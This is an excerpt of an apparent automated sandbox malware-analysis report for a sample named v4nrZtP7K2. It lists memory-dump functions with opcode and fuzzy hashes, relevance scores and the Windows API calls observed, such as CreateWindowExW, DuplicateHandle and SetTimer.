Instruction Fuzzy Hash: 607193B5E006288FEB58CF6AC954B99BBF2AF88300F14C1AAD40CA7255DB345A85CF11

Function 000D8DA0 Relevance: 1.1, Instructions: 1144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915107000.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cff3abf9721c46ddfb53af1f6445525a6c468afa8190698384798450a66ed51
Instruction ID: 5d9dfbe2651f661eed738b72fd1617486b2ec952b769806e6354a987abc51a56
Opcode Fuzzy Hash: 0cff3abf9721c46ddfb53af1f6445525a6c468afa8190698384798450a66ed51
Instruction Fuzzy Hash: C5A25E71A04309DFCB15CFA8D894AAEBBF2BF89310F15856AE4059B361D731ED41CBA1

Function 37A3E790 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59e8a521cc26b19cea161a75f59c58276e7998627a36d39c8e41ff8d6d85e81d
Instruction ID: b54243e4639cd01ed87af63b16c117a717a0109ef8a16aa6ae190da4dea9e91a
Opcode Fuzzy Hash: 59e8a521cc26b19cea161a75f59c58276e7998627a36d39c8e41ff8d6d85e81d
Instruction Fuzzy Hash: F882C674A01228CFDB25DF64D994BE9BBB2FF89701F1081A9D80967364CB31AE81DF54

Function 3760BDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35099b1faf063d241d5f4b60cf13afc67e67d54f6f2ea4c0cbdd00ba54722c6b
Instruction ID: 700b7b27aaa2cc30929d4dee91bb97f16ce4ac138e29b6ab1eb213a7a224ca7c
Opcode Fuzzy Hash: 35099b1faf063d241d5f4b60cf13afc67e67d54f6f2ea4c0cbdd00ba54722c6b
Instruction Fuzzy Hash: 2272B474A01228CFDB25DF64D994BE9BBB2FB89701F1081E9D40967364CB31AE82DF54

Function 37600040 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12ee37b5b53670d77a31cc0637e357e81ce1c8e49f219caebc7b0d18556e214
Instruction ID: 07928d17a0840599957865359124604341fc647bc4b73d903e9a5ba755c7a083
Opcode Fuzzy Hash: b12ee37b5b53670d77a31cc0637e357e81ce1c8e49f219caebc7b0d18556e214
Instruction Fuzzy Hash: 23827E74E012688FEB64DF65DD98BDDBBB2BB89310F1081EA940DA7261DB305E81DF44

Function 37608650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cdf8ae4ce56d19ef946ca128df05c01df89cad8243fbd8e046ca6736cb9c61c
Instruction ID: 1127fff7491e939e8986f2a65c356893e3dca5591e366ee73e4abdc55e45e952
Opcode Fuzzy Hash: 9cdf8ae4ce56d19ef946ca128df05c01df89cad8243fbd8e046ca6736cb9c61c
Instruction Fuzzy Hash: C872D174E052298FEB64DF69C894BDDBBB2BB49300F5091EAD409A7351DB34AE81CF50

Function 000D5F90 Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915107000.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3f2053eae48620f2bb1d779d2f09c6fd0d347934cdba4924d26df84fbe3004a
Instruction ID: 8f7a23924df4bb08c0e8309f3d7f3f19ef78f2535cc0ecb5156a2bd8e76147ef
Opcode Fuzzy Hash: a3f2053eae48620f2bb1d779d2f09c6fd0d347934cdba4924d26df84fbe3004a
Instruction Fuzzy Hash: FF122F30A00219DFDB54CFA9D994AAEBBF2BF49314F15806AE415AB361D732DD41CF60

Function 000D66B8 Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915107000.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db7706996a49fa43cff7308af087ae815950a37fcfc34459afd40aeace065b2b
Instruction ID: 9034cfb66c8cd4ff5f6927e162fe47478fe26d3250c8434ce512a22e835e30db
Opcode Fuzzy Hash: db7706996a49fa43cff7308af087ae815950a37fcfc34459afd40aeace065b2b
Instruction Fuzzy Hash: CA124830A003099FCB54CF69D994AAEBBF2BF49314F15855AE845EB361DB32ED41CB60

Function 3694C638 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a48dfb3a8103b01724f043a55f5bead592415c75504270dd1a2ae518d8d3db
Instruction ID: 98b11344d14becda6131263cb2d1b37bdcd5c555982fe228ffe5d3f4163b42fa
Opcode Fuzzy Hash: c8a48dfb3a8103b01724f043a55f5bead592415c75504270dd1a2ae518d8d3db
Instruction Fuzzy Hash: 5DE1D074E01218CFEB15DFA5D984BDDBBB2BF89300F2081AAD409AB391DB355A85CF15

Function 369403AF Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8cbc73f02cbf646320366cf4611b7a9ae3302935337b91d6c5008770bd4467c
Instruction ID: 1ee7723a597cd617f57ce57b86860dee23d9cdda781af8659d1f5b330505b4de
Opcode Fuzzy Hash: c8cbc73f02cbf646320366cf4611b7a9ae3302935337b91d6c5008770bd4467c
Instruction Fuzzy Hash: D8D1B274E00218CFEB54DFA5D994B9DBBB2BF89300F2081A9D809AB355DB355E86CF50

Function 376067C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d58ec82bcea68a16043d7b5aff888190b079095c0f81097662a79d6aa166001
Instruction ID: 957f4792718183989cdca03f313cd4440c29ddd8afec64c35fb58c7c222161d3
Opcode Fuzzy Hash: 7d58ec82bcea68a16043d7b5aff888190b079095c0f81097662a79d6aa166001
Instruction Fuzzy Hash: 72C1B174E00218CFEB14DFA5D994B9DBBB2BF89310F2081A9D409AB355DB35AE85CF11

Function 36940C1A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b72eddc2d18d5a53ea381be4bd5c716c4f4f06f01f0a2ec8f7768da469b83424
Instruction ID: 109507f54f34d971834e5b69f59827cbd5cf8f75c8fdcb56f037b3db24eb3d9a
Opcode Fuzzy Hash: b72eddc2d18d5a53ea381be4bd5c716c4f4f06f01f0a2ec8f7768da469b83424
Instruction Fuzzy Hash: 08A11774D00208CFEB10DFA9C984BDDBBB1FF89314F20826AE409AB291DB749985CF55

Function 36940C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0774f59a3b0c5f04efe3838a1e5e486d745bb50d15245ca884ebea48eba45ae5
Instruction ID: 3010ab9da11256d2d04b3c9f405d3572a2ba747cace4615b72c4358ad46f78d2
Opcode Fuzzy Hash: 0774f59a3b0c5f04efe3838a1e5e486d745bb50d15245ca884ebea48eba45ae5
Instruction Fuzzy Hash: 7DA10474D00208CFEB10DFA9C984BDDBBB1BF89314F20826AE509AB291DB759985CF55

Function 36940F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d5e8a4f019f41535dec14fab61f54d920895b8033f64df6a3e7bd80c815a9be
Instruction ID: 35e55a0f5aa7fa035ab49de8d9a87102b08d74d22a82b805a9c2c82c4ca30100
Opcode Fuzzy Hash: 4d5e8a4f019f41535dec14fab61f54d920895b8033f64df6a3e7bd80c815a9be
Instruction Fuzzy Hash: 9A91F374D00318CFEB10DFA9C984B9CBBB1FF49314F2082AAE509AB291DB759985CF55

Function 000D4328 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915107000.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e16371384491d9dfcac37056db22031af22371c3c717f8dd0abc34b6c8a444c8
Instruction ID: 2af5a4ae130501cc39667fec0b44e3bccdf53ee41f1ec78354812b23f63319bb
Opcode Fuzzy Hash: e16371384491d9dfcac37056db22031af22371c3c717f8dd0abc34b6c8a444c8
Instruction Fuzzy Hash: 8E91B274E00218DFEB54DFA9D884A9DBBF2BF89310F14C16AE409AB365DB309985CF50

Function 3760BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b500449c141bd2713f9e71ec953bfdbe30dc98573d28b63a1448c8b0a18dc150
Instruction ID: a39d0e3a9a846267a82131d0c453253cf9a047e8377f075bbbbc47dc15085815
Opcode Fuzzy Hash: b500449c141bd2713f9e71ec953bfdbe30dc98573d28b63a1448c8b0a18dc150
Instruction Fuzzy Hash: E681F574E00208CBEB08DFAAD95069DBBF2BF89314F64C12AD418AB355DB355942CF54

Function 37608640 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c647142dc1bfa4d3f5feb5f36568fe426b9625d6ceb5bad12cbbb8347ca0d8e0
Instruction ID: 537287010d5089dbfb3ca194f3b1394429562b6dc92e9ff1dde124f975309090
Opcode Fuzzy Hash: c647142dc1bfa4d3f5feb5f36568fe426b9625d6ceb5bad12cbbb8347ca0d8e0
Instruction Fuzzy Hash: 7D71C775D05218CFDB68CF66D9947DDBBF2BF89300F1090AAD408A7250DB35AA82CF50

Function 3760C92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6ce4d589ea5658578080d27ee59a5ad229bb0bcfc99e9eddd4dc653dab6e4b1
Instruction ID: d2a48ff4b755e2b2a0452195bfed8e3ed8435d58c4ad861840aab44f9830f1b1
Opcode Fuzzy Hash: e6ce4d589ea5658578080d27ee59a5ad229bb0bcfc99e9eddd4dc653dab6e4b1
Instruction Fuzzy Hash: 3D61D934A00258CFEB15DF60D954BADBB72FB88710F10C4AA990A77364DA356D82DF58

Function 37609D00 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff17ec4082d7bb13c92b8b9115c03c148f2da6eeb66594d41694a9f2e3e6fb79
Instruction ID: cbb4bbae6811202e57ac38401c9a0f51a14c21f369cd9936f6b9f8b47f8ee198
Opcode Fuzzy Hash: ff17ec4082d7bb13c92b8b9115c03c148f2da6eeb66594d41694a9f2e3e6fb79
Instruction Fuzzy Hash: A9418AB1E056188BEB58CF6BDD547D9FAF3AFC9300F04C1AAC40CA6265DB741A868F50

Function 3760A352 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9237b656d23a8da3178707743159cd556dd2ebd4d7ec47ccfa09a83531da58bc
Instruction ID: b88283105ca00763aa482242285c8cb827f67ac80022644bbb957168fc23e7a7
Opcode Fuzzy Hash: 9237b656d23a8da3178707743159cd556dd2ebd4d7ec47ccfa09a83531da58bc
Instruction Fuzzy Hash: BC4158B1E016188BEB58CF6BCD457DAFAF3AFC8310F04C1AAD50CA6254DB741A868F51

Function 376067B0 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aebb31b161d2ff35d7ecaefec6f76c8af1ab277c3272202ed4d31447ec5a18e5
Instruction ID: 11f9f2f221b0cfd91fab1205221ee357265749598fbc6e02063047c2905e98ec
Opcode Fuzzy Hash: aebb31b161d2ff35d7ecaefec6f76c8af1ab277c3272202ed4d31447ec5a18e5
Instruction Fuzzy Hash: BB4101B4D05208CBEB08DFAAD8547DDBBF2AF88300F20C12AC418BB259EB355946CF50

Function 37A30980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37A309FE
GetCurrentThread.KERNEL32 ref: 37A30A3B
GetCurrentProcess.KERNEL32 ref: 37A30A78
GetCurrentThreadId.KERNEL32 ref: 37A30AD1

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 22d539d532519d450f6cce1408a5ad3c8de9affa4034479c5e43d23f1e952a31
Instruction ID: 9dc5f7c839672cdd018a8186963ecc2f0ed1f3c8330f483eb9f167e24028d62b
Opcode Fuzzy Hash: 22d539d532519d450f6cce1408a5ad3c8de9affa4034479c5e43d23f1e952a31
Instruction Fuzzy Hash: 965178B09012099FDB54CFA9D548BDEBBF1AF88310F20845DE459A7351DB34A940CF65

Function 37607920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<CV7, xrefs: 37607AEB
<CV7, xrefs: 376079D4
<CV7, xrefs: 37607B22

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: <CV7$<CV7$<CV7
API String ID: 0-1513090091
Opcode ID: 2091af65e261ee14cc206b6ede5191e73ac2c620ab9bbc8ae9c4035fc7554c99
Instruction ID: 050b1290a1aa809badd45b9a58e37509fcc9717e577983ec4d21430595b8c6e4
Opcode Fuzzy Hash: 2091af65e261ee14cc206b6ede5191e73ac2c620ab9bbc8ae9c4035fc7554c99
Instruction Fuzzy Hash: 4E51F174D01318CFDB14DFA5D954BAEBBB2BF88310F208129D805AB254DB356A46DF44

Function 3760D548 Relevance: 2.7, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)\7, xrefs: 3760D67C
drV7, xrefs: 3760D56D

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: drV7$)\7
API String ID: 0-3476427785
Opcode ID: f0c216e70efc31d833f416289d48af0760bc20b8bfe2a944eb10cf69fb50406a
Instruction ID: 54ac42b774f8dc05f84546f2a272422534293f790ae4196e7258041c49cf9039
Opcode Fuzzy Hash: f0c216e70efc31d833f416289d48af0760bc20b8bfe2a944eb10cf69fb50406a
Instruction Fuzzy Hash: 9D518370A002099FCB05EFA4D955AEEBBF2FF85300F108565E005BB262DB31AE45CF65

Function 37607922 Relevance: 2.6, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<CV7, xrefs: 37607AEB
<CV7, xrefs: 37607B22

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: <CV7$<CV7
API String ID: 0-2019076967
Opcode ID: 933bc1c50b52cdd210e69a746c90d208ab502a7ae123f9952033212c69248bec
Instruction ID: b32b226867456fb1c739bd621ae98ceca54fc4727f15d9dc250b02228e0f330a
Opcode Fuzzy Hash: 933bc1c50b52cdd210e69a746c90d208ab502a7ae123f9952033212c69248bec
Instruction Fuzzy Hash: 1A21F070D06318DFEB08CFA5D4647EEBBB2AF89304F50842AD414BB240DB795A8ADF50

Function 37A30104 Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 37A30222

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 787ca4fbcb530b6e02a4b6d145434a140092f1d1adaa0690b1c26dcc51e8289a
Instruction ID: a72c61aa6195122691cb9ac7c5c7d4a4ad2543712f88a7a33150bb11214ac65b
Opcode Fuzzy Hash: 787ca4fbcb530b6e02a4b6d145434a140092f1d1adaa0690b1c26dcc51e8289a
Instruction Fuzzy Hash: 6451D3B5D0134DDFDB14CF99C880ADEBBB6BF48310F24812AE819AB210D7719945CF91

Function 37A30110 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 37A30222

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 584d8218eee1534e5bcf2d05e6088ee4df3aa6ed369c1e13fdd220c410fcec42
Instruction ID: 5569d5fa7af97275864af96cee604b201e8d3f8c9b8f13f60c5824f465e66846
Opcode Fuzzy Hash: 584d8218eee1534e5bcf2d05e6088ee4df3aa6ed369c1e13fdd220c410fcec42
Instruction Fuzzy Hash: AA41B2B5D0134DDFDB14CF99C884ADEBBB5BF88310F24812AE819AB210D775A945CF90

Function 37A31DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 37A31E81

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 662a5f6d8e81feffdd18d8a54318f2dd055f60acbf730b85e3bbc5d29a111e86
Instruction ID: 8878d7d88cd08ff4da36296931aae4bfc5cd33db7fd7824ed8e3780426cd445b
Opcode Fuzzy Hash: 662a5f6d8e81feffdd18d8a54318f2dd055f60acbf730b85e3bbc5d29a111e86
Instruction Fuzzy Hash: 684138B8900709DFDB14CF99C844AAABBF5FF88310F24C559E519AB321D775A841CFA0

Function 37A3D488 Relevance: 1.6, APIs: 1, Instructions: 75
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 37A3D445

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 2d01125fa96713c7a5e5f2a0d8e93860d00934cf5918acac994ac89f4442cefd
Instruction ID: c256cdd9bf03fa3e1a91adc6433b12d80ebcf82fcb3ad3dd7164dde794744d59
Opcode Fuzzy Hash: 2d01125fa96713c7a5e5f2a0d8e93860d00934cf5918acac994ac89f4442cefd
Instruction Fuzzy Hash: 6A2147B6C00648CFEB10CF9AD445BDEFBF4EB88224F10845AE858A7210D374A645CFA1

Function 37A30BC0 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37A30C4F

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 74b73002835b89e6edbbc23908f9f545135bbb01400c3a5ca3543cd448b7473c
Instruction ID: 8be26e8eb32aa04d654eaf646f9946cc28bf93470d1788add5c366b2560534d3
Opcode Fuzzy Hash: 74b73002835b89e6edbbc23908f9f545135bbb01400c3a5ca3543cd448b7473c
Instruction Fuzzy Hash: E021E9B5901248AFDB10CF9AD584ADEFBF5EF48320F14841AE958A7350D374A940CF65

Function 36947C2C Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 36947D6E

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 09f0458a784abe4b1e3b9fefa3de0e1f577fb7cc9b180378039cb5aa056c123e
Instruction ID: b16ee0bd8f5d8353c6337b4359fa6e876bf5b12c629e9f6e96127919059b2fcd
Opcode Fuzzy Hash: 09f0458a784abe4b1e3b9fefa3de0e1f577fb7cc9b180378039cb5aa056c123e
Instruction Fuzzy Hash: 22117F74E0021D9FEB05EFA8D888EEDB7B5FF88304F648156E804AB242D7719D41CB60

Function 37A30BC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37A30C4F

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ae7f0d5e3385e231f4a5b099b875e06778cc694788dda0517597d8b1ef85f5ee
Instruction ID: 4ba23327af0956055005947d3f370c1a74312232b59bf513a4f3ce7f61b04b6f
Opcode Fuzzy Hash: ae7f0d5e3385e231f4a5b099b875e06778cc694788dda0517597d8b1ef85f5ee
Instruction Fuzzy Hash: 3E21F3B5901248AFDB10CFAAD984ADEFBF4FF48320F14841AE958A3310D374A940CFA5

Function 37A3D3E8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37A3D445

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d596b07cf78332e47db479f2c630d06c596ed77ec0c12ccad8fb50cb0c844c6c
Instruction ID: e3ed8d7ebdd28397556058c6820b3e2cc6a47294a3f50e583bb7936c191baff4
Opcode Fuzzy Hash: d596b07cf78332e47db479f2c630d06c596ed77ec0c12ccad8fb50cb0c844c6c
Instruction Fuzzy Hash: C21145B1800388CFDB10CFAAC485BDEFBF4EB48220F20845AE519A7700C374A541CFA6

Function 37A32018 Relevance: 1.5, APIs: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37A3207D

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: b84bdb14e0b5754271bf619c9bcd3b5e63e885892607bca9b1ab264933fafd96
Instruction ID: 0c976d4eeaa07ee96c95df6414daf89c25292cce87e831c228cc63888fb4aa86
Opcode Fuzzy Hash: b84bdb14e0b5754271bf619c9bcd3b5e63e885892607bca9b1ab264933fafd96
Instruction Fuzzy Hash: D61125B58007499FDB10CF9AD885BDEFBF4FB48720F10841AE858A7640C375A984CFA1

Function 37A3E6C9 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37A3D92F), ref: 37A3E72D

Memory Dump Source

Source File: 00000005.00000002.2948196954.0000000037A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a30000_v4nrZtP7K2.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 82c068f4529e3d56a768a255aa761882a507f2e05cd9d11815dd31c12fc6ce84
Instruction ID: 5a0eb14cbcaa6895fbcf39a78704284c5a71497dbb32a58b04e36bbae7bfbe51
Opcode Fuzzy Hash: 82c068f4529e3d56a768a255aa761882a507f2e05cd9d11815dd31c12fc6ce84
